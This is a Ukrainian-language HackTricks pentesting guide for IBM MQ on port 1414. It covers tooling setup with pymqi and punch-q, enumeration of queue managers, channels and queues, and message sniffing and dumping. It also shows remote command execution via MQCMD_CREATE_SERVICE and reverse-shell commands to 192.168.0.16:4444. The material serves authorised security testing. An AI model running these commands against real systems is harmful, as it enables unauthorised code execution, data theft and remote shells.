hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md
2024-03-29 19:49:46 +01:00

23 KiB
Raw Blame History

1414 - Тестування на проникнення IBM MQ

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Основна інформація

IBM MQ - це технологія IBM для управління чергами повідомлень. Як і інші технології посередників повідомлень, вона призначена для отримання, зберігання, обробки та класифікації інформації між виробниками та споживачами.

За замовчуванням вона використовує порт TCP IBM MQ 1414. Іноді HTTP REST API може бути відкритий на порту 9443. Метрики (Prometheus) також можуть бути доступні через порт TCP 9157.

Порт TCP IBM MQ 1414 може бути використаний для маніпулювання повідомленнями, чергами, каналами, ... а також для керування екземпляром.

IBM надає велику технічну документацію, доступну за посиланням https://www.ibm.com/docs/en/ibm-mq.

Інструменти

Рекомендований інструмент для простого використання - punch-q, з використанням Docker. Цей інструмент активно використовує бібліотеку Python pymqi.

Для більш ручного підходу використовуйте бібліотеку Python pymqi. Потрібні залежності IBM MQ необхідні для встановлення.

Встановлення pymqi

Потрібно встановити та завантажити залежності IBM MQ:

  1. Створіть обліковий запис (IBMid) на https://login.ibm.com/.
  2. Завантажте бібліотеки IBM MQ з https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Для Linux x86_64 це 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. Розпакуйте (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Запустіть sudo ./mqlicense.sh, щоб прийняти умови ліцензії.

Якщо ви використовуєте Kali Linux, змініть файл mqlicense.sh: видаліть/закоментуйте наступні рядки (між рядками 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. Встановіть ці пакети:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Потім тимчасово додайте файли .so до LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, перед запуском інших інструментів, які використовують ці залежності.

Потім ви можете клонувати проект pymqi: він містить цікаві фрагменти коду, константи, ... Або ви можете безпосередньо встановити бібліотеку за допомогою: pip install pymqi.

Використання punch-q

З Docker

Просто використовуйте: sudo docker run --rm -ti leonjza/punch-q.

Без Docker

Клонуйте проект punch-q, а потім дотримуйтесь інструкцій у файлі readme для встановлення (pip install -r requirements.txt && python3 setup.py install).

Після цього його можна використовувати за допомогою команди punch-q.

Перелік

Ви можете спробувати перерахувати ім'я менеджера черг, користувачів, канали та черги за допомогою punch-q або pymqi.

Менеджер черг

Іноді немає захисту від отримання імені менеджера черг:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Канали

punch-q використовує внутрішній (змінний) словник для пошуку існуючих каналів. Приклад використання:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Це трапляється, що деякі екземпляри IBM MQ приймають неавтентифіковані запити MQ, тому --username / --password не потрібно. Звичайно, права доступу також можуть відрізнятися.

Як тільки ми отримаємо одне ім'я каналу (тут: DEV.ADMIN.SVRCONN), ми можемо перерахувати всі інші канали.

Перелік можна зробити за допомогою цього фрагмента коду code/examples/dis_channels.py з pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Але punch-q також вбудовує цю частину (з більш докладною інформацією!). Це можна запустити за допомогою:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Черги

Є фрагмент коду з pymqi (dis_queues.py), але punch-q дозволяє отримати більше інформації про черги:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Використання

Витягнення повідомлень

Ви можете спрямувати чергу(и)/канал(и), щоб витягнути/витягнути повідомлення з них (операція без знищення). Приклади:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Не соромтеся перевіряти всі виявлені черги.

Виконання коду

Деякі деталі перед продовженням: IBM MQ можна керувати кількома способами: MQSC, PCF, Командою керування. Деякі загальні списки можна знайти в документації IBM MQ. PCF (Формати програмованих команд) - це те, на що ми зосереджуємося для взаємодії віддалено з екземпляром. punch-q і, крім того, pymqi базуються на взаємодії з PCF.

Ви можете знайти список команд PCF:

Одна цікава команда - MQCMD_CREATE_SERVICE, і її документація доступна тут. Вона приймає як аргумент StartCommand, який вказує на локальну програму на екземплярі (наприклад: /bin/sh).

Також є попередження про команду в документації: "Увага: Ця команда дозволяє користувачеві виконувати довільну команду з правами mqm. Якщо користувачу надано права використовувати цю команду, зловмисник або необережний користувач може визначити службу, яка пошкодить ваші системи або дані, наприклад, видаливши важливі файли."

Примітка: завжди згідно з документацією IBM MQ (Посібник з адміністрування), також існує HTTP-кінцева точка за адресою /admin/action/qmgr/{qmgrName}/mqsc, щоб виконати еквівалентну команду MQSC для створення служби (DEFINE SERVICE). Цей аспект поки що не розглядається тут.

Створення / видалення служби за допомогою PCF для віддаленого виконання програми можна виконати за допомогою punch-q:

Приклад 1

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

У журналах IBM MQ ви можете прочитати, що команда успішно виконана:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Ви також можете перелічити існуючі програми на машині (тут /bin/doesnotexist ... не існує):

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Майте на увазі, що запуск програми є асинхронним. Тому вам потрібен другий елемент для використання уразливості (слухач для зворотньої оболонки, створення файлу на різній службі, виведення даних через мережу ...)

Приклад 2

Для простої зворотньої оболонки, punch-q також пропонує два варіанти зворотньої оболонки:

  • Один з bash
  • Один з perl

Звичайно, ви можете створити власний з використанням команди execute.

Для bash:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Для perl:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Спеціальний PCF

Ви можете дослідити документацію IBM MQ та безпосередньо використовувати бібліотеку pymqi python для тестування конкретної команди PCF, яка не реалізована в punch-q.

Приклад:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Якщо ви не можете знайти назви констант, ви можете звернутися до документації IBM MQ.

Приклад для MQCMD_REFRESH_CLUSTER (Десяткове значення = 73). Для цього потрібен параметр MQCA_CLUSTER_NAME (Десяткове значення = 2029), який може бути * (Док: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Помилка")
else:
    print(response)

qmgr.disconnect()

Тестове середовище

Якщо ви хочете протестувати поведінку та експлойти IBM MQ, ви можете налаштувати локальне середовище на основі Docker:

  1. Мати обліковий запис на ibm.com та cloud.ibm.com.
  2. Створіть контейнеризований IBM MQ за допомогою:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

За замовчуванням аутентифікація увімкнена, ім'я користувача - admin, пароль - passw0rd (змінна середовища MQ_ADMIN_PASSWORD). Тут ім'я менеджера черг встановлено на MYQUEUEMGR (змінна MQ_QMGR_NAME).

Вам потрібно мати IBM MQ запущений і працюючий з відкритими портами:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Стара версія образів IBM MQ docker знаходиться за посиланням: https://hub.docker.com/r/ibmcom/mq/.

Посилання